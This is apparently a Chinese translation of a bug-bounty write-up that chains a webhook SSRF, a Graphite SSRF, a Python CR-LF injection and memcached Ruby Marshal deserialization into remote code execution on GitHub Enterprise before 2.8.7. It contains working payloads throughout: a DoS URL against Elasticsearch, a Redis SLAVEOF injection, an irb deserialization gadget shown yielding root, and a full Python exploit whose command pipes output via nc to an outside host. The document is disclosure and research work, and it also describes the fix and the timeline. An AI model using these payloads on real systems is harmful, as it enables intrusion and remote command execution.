作者:Orange (orange@chroot.org )
知道創宇404實驗室 獨家授權翻譯

過去幾個月內,我花費大量時間準備 Black Hat USA 2017DEF CON 25 的演講內容。成為 Black Hat 與 DEF CON 演講者是我一直以來的夢想。這也是我第一次在如此正式的場合發表英文演講。真是一次難忘的經歷啊 :P

在此感謝評審委員會給我這個機會。

本文主要介紹議題中的一個簡單案例。案例中提及的并非是什么新技術,關鍵點在于如何化腐朽為神奇!感興趣的朋友可以瀏覽下面鏈接中的 PPT 文件,其中涵蓋了包括 SSRF 在內的更多新穎技術:

接下來,我就為大家展示如何將 GitHub 企業版存在的4個漏洞整合成一個遠程代碼執行攻擊鏈。

這里還要炫耀一下,此項研究榮獲 GitHub 第三屆年度漏洞賞金計劃(GitHub 3rd Bug Bounty Anniversary Promotion)最佳報告獎哦!

前言

我曾在上篇博文中談到了 GitHub 企業版這個新目標,還演示了如何對 Ruby 代碼進行反混淆處理、查找 SQL 注入。文章發布沒多久,我就發現幾位漏洞賞金獵人已經開始關注 GitHub 企業版并挖到許多優質漏洞,例如:

看到這些文章,挫敗感頓時涌上心頭,挖到漏洞的人為啥不是我 :(
痛定思痛,暗下決心,自己也要挖一個高危漏洞。
當然,要用獨特的方式!

漏洞

審視 GitHub 企業版架構之前,直覺告訴我,既然 GitHub 企業版提供了這么多內部服務,進去探索一番必有收獲。

于是,服務端請求偽造(SSRF)成為我的關注焦點。

Bug No.1 無害的 SSRF 漏洞

在體驗 GitHub 企業版的過程中,我注意到一個名為 WebHook 的有趣功能,能通過具體 GIT 指令定義定制化 HTTP 回調。

可以根據以下 URL 創建 HTTP 回調:

https://<host>/<user>/<repo>/settings/hooks/new

提交文件觸發 URL 后,收到 GitHub 企業版發送的 HTTP 請求。負載與請求如下所示:

Payload URL:

http://orange.tw/foo.php

Callback Request:

POST /foo.php HTTP/1.1
Host: orange.tw
Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f content-type: application/x-www-form-urlencoded Content-Length: 8972 

payload=... 

GitHub 企業版采用 Ruby Gem faraday 獲取外部資源,以防用戶通過Gem faraday-restrict-ip-addresses 發送內部服務請求。

Gem看上去像一份黑名單,可以通過RFC 3986定義的稀有IP地址格式(Rare IP Address Formats)輕松繞過。在Linux中,0 表示 localhost

PoC:

http://0/

Ok,現在我們已經獲得一個 SSRF,但由于存在某些限制,還是什么都做不了,例如:

  • 僅限 POST 方法
  • 僅允許 HTTP 與 HTTPS 方案
  • 缺少 302 重定向
  • faraday 中缺少 CR-LF 注入
  • 無法控制 POST 數據與 HTTP 報頭

目前唯一可控的是 Path 部分。

需注意此 SSRF 可導致拒絕服務(DoS)攻擊。

9200 端口綁定了一項 Elasticsearch 服務。在使用 shutdown 命令的過程中,Elasticsearch 根本不考慮 POST 數據的具體細節。所以,不妨盡情享用 REST-ful API :P

拒絕服務(DoS)PoC:

http://0:9200/_shutdown/


Bug No.2 Graphite 內部服務 SSRF 漏洞

既然已經掌握了一個 SSRF,雖然存在諸多限制,但總該有些用處吧? 是否存在可以利用的內網服務?

這個問題涵蓋的范圍可不小。首先,內網中存在幾項不同的 HTTP 服務,而每項服務又采用不同的語言編寫,例如C、C++、Go、Python、Ruby等。

經過幾天的辛苦挖掘,我在 8000 端口找到一項名為 Graphite 的服務。這項服務擁有一個高度可擴展的實時圖形系統,而 GitHub 正是通過該系統向用戶展示一些數據。

Graphite 采用 Python 編寫,也是一個開源項目,可以在此處下載源代碼!

閱讀源代碼后很快找到另一個SSRF漏洞。

該漏洞位于 webapps/graphite/composer/views.py 文件,形式十分簡單。

def send_email(request):
    try:
        recipients = request.GET['to'].split(',')
        url = request.GET['url']
        proto, server, path, query, frag = urlsplit(url)
        if query: path += '?' + query
        conn = HTTPConnection(server)
        conn.request('GET',path)
        resp = conn.getresponse()
        ...

可以看到,Graphite 在收到用戶輸入的 url 后直接進行獲取。因此,我們可以使用首個 SSRF 觸發第二個 SSRF,并將它們并入到 SSRF 執行鏈

SSRF 執行鏈負載:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://orange.tw:12345/foo 

第二個 SSRF 請求:

$ nc -vvlp 12345 
…

GET /foo HTTP/1.1
Host: orange.tw:12345 Accept-Encoding: identity 

現在,我們將基于 POST 的 SSRF 改寫為基于 GET 的 SSRF,但暫時還是什么都做不了。

接下來,進入下一個階段!


Bug No.3 Python CR-LF 注入漏洞

可以看到,Graphite 使用 httplib.HTTPConnection 獲取資源。經過若干嘗試與分析,我注意到 httplib.HTTPConnection 中存在一個 CR-LF 注入。這樣就可以在 HTTP 協議中嵌入惡意負載了。

CR-LF注入PoC

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo: 
$ nc -vvlp 12345 
... 

GET /
i_am_payload
Foo: HTTP/1.1
Host: 127.0.0.1:12345 
Accept-Encoding: identity 

看似一小步,對于整個攻擊鏈而言卻是一個巨大的飛躍。至少可以在這個 SSRF 執行鏈中偽造其他協議了,例如:

如果打算采用 Redis,可以嘗試使用以下負載:

http://0:8000/composer/send_email?
to=orange@nogg& 
url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A 

注:SLAVEOF 是一個非常好用的命令,可以用來生成出站流量,在處理 Blind-SSRF 時相當有效。

看上去很美,但在協議偽造方面仍存在一些限制,例如:

  1. 不適用于 SSH、MySQL、SSL 等握手協議;
  2. Python2 的局限性導致第二個 SSRF 中的負載僅允許使用介于 0x00 與 0x8F 之間的字節。

順便提一下,HTTP 方案存在多種協議偽造方法。我的演講 PPT 也介紹了如何利用 Linux Glibc 功能在 SSL SNI 中進行協議偽造,此外還提供了 Python CVE-2016-5699 漏洞繞過案例分析!

有興趣的朋友不妨參考一下 :)


Bug No.4 危險的反序列化漏洞

現在,我們已經掌握了如何在 HTTP 協議中偽造其他協議,但問題隨之而來,該偽造哪些協議呢?

經過一番周折后,終于發現在成功控制 Redis 或 Memcached 的前提下可以觸發的漏洞類型。

查看代碼的同時不禁產生了 GitHub 為何能夠存儲 Ruby 對象的疑問。進一步研究后發現 GitHub 企業版使用 Ruby Gem memcached 處理緩存并用 Marsal 包裝。

這對我來說可是個天大的好消息。Marsal 的殺傷力眾所周知。

(不了解這一點的朋友可以閱讀@frohoff@gebl在AppSec California 2015會議上發表的議題“Pickle 初體驗:對象反序列化夢魘” / Marshalling Pickles: how deserializing objects can ruin your day

至此,目標已經十分清晰了。

我們用 SSRF 執行鏈在 Memcached 中存儲惡意 Ruby 對象。待到 GitHub 再次獲取緩存時,Ruby Gem mecached 將自動對數據進行反序列化操作。結果可想而知……BOOM!遠程代碼成功執行!XD

Rails 控制臺中的不安全 Marsal

irb(main):001:0> GitHub.cache.class.superclass 
=> Memcached::Rails 

irb(main):002:0> GitHub.cache.set("nogg", "hihihi") 
=> true 

irb(main):003:0> GitHub.cache.get("nogg") 
=> "hihihi" 

irb(main):004:0> GitHub.cache.get("nogg", :raw=>true) 
=> "\x04\bI\"\vhihihi\x06:\x06ET" 

irb(main):005:0> code = "`id`" 
=> "`id`" 

irb(main):006:0> payload = "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
=> "\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\a:\u000E@instanceo:\bERB\a:\t@srcI\"\t`id`\u00 06:\u0006ET:\f@linenoi\u0000:\f@method:\vresult" 

irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true) 
=> true 

irb(main):008:0> GitHub.cache.get("nogg")
=> "uid=0(root) gid=0(root) groups=0(root)\n" 

現在,我們不妨對上述內容做個總結!

  1. 第一個SSRF:繞過 Webhook 現有保護
  2. 第二個SSRF:Graphite 服務 SSRF
  3. 將前兩個 SSRF 整合到 SSRF 執行鏈
  4. SSRF 執行鏈CR-LF注入
  5. 偽造 Memcached 協議并插入惡意 Marsal 對象
  6. 觸發 RCE

SSRF 攻擊鏈構造

完整代碼可參見 GistYoutube 視頻

#!/usr/bin/python
from urllib import quote

''' set up the marshal payload from IRB
code = "`id | nc orange.tw 12345`"
p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
'''
marshal_code = '\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e`id | nc orange.tw 12345`\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult'

payload = [
    '',
    'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code),
    marshal_code,
    '',
    ''
]

payload = map(quote, payload)
url = 'http://0:8000/composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:11211/'

print "\nGitHub Enterprise < 2.8.7 Remote Code Execution by orange@chroot.org"
print '-'*10 + '\n'
print url + '%0D%0A'.join(payload)
print '''
Inserting WebHooks from:
https://ghe-server/:user/:repo/settings/hooks
Triggering RCE from:
https://ghe-server/search?q=ggggg&type=Repositories
'''


修復方案

為防止類似問題再次發生,GitHub 已完成多處改進!

  1. 提升 Gem faraday-restrict-ip-address 性能
  2. 用定制 Django 中間件確保攻擊者無法從外部抵達路徑 http://127.0.0.1:8000/render/
  3. 增強使用 User-Agent: GitHub-Hookshot 模式阻止訪問路徑的 iptables 規則
$ cat /etc/ufw/before.rules
...
-A ufw-before-input -m multiport -p tcp ! --dports 22,23,80,81,122,123,443,444,8080,8081,8443,8444 -m recent --tcp- flags PSH,ACK PSH,ACK --remove -m string --algo bm --string "User-Agent: GitHub-Hookshot" -j REJECT --reject-with tcp- reset
... 


時間線

  • 2017/01/23 23:22 通過HackerOne將漏洞報告給GitHub,報告編號200542
  • 2017/01/23 23:37 GitHub將狀態改為“已分類處理”(Triaged)
  • 2017/01/24 04:43 GitHub回應“該問題已得到驗證、正在制定修復方案”
  • 2017/01/31 14:01 GitHub企業版2.8.7發布
  • 2017/02/01 01:02 GitHub回應“該問題已得到解決”!
  • 2017/02/01 01:02 GitHub頒發7,500美元漏洞賞金!
  • 2017/03/15 02:38 GitHub頒發5,000美元最佳報告獎金

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/363/